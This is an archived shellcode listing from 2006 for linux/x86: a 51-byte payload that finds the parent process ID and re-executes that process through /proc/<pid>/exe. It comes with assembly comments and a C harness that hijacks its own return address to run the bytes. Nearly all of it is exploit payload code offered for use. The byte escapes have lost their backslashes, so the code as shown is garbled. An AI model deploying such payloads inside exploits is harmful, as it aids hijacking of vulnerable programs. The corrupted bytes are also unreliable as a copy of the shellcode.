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# Title : linux/x86 getppid() + execve(/proc/pid/exe) 51 bytes
# Published : 2006-01-21
# Author : izik
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/*
* (linux/x86) getppid() + execve("/proc/<pid>/exe", ["/proc/<pid>/exe", NULL]) - 51 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax40" // push $0x40
"x58" // pop %eax
"xcdx80" // int $0x80
//
// <_convert>:
//
"x4c" // dec %esp
"x99" // cltd
"x6ax0a" // push $0xa
"x5b" // pop %ebx
"xf7xf3" // div %ebx
"x80xc2x30" // add $0x30,%dl
"x88x14x24" // mov %dl,(%esp)
"x85xc0" // test %eax,%eax
"x75xef" // jnz _convert
"x99" // cltd
"x5b" // pop %ebx
"x52" // push %edx
"x68x2fx65x78x65" // push $0x6578652f
"x53" // push %ebx
"x68x72x6fx63x2f" // push $0x2f636f72
"x68x2fx2fx2fx70" // push $0x702f2f2f
"xb0x0b" // mov $0xb,%al
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp,%ecx
"xcdx80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]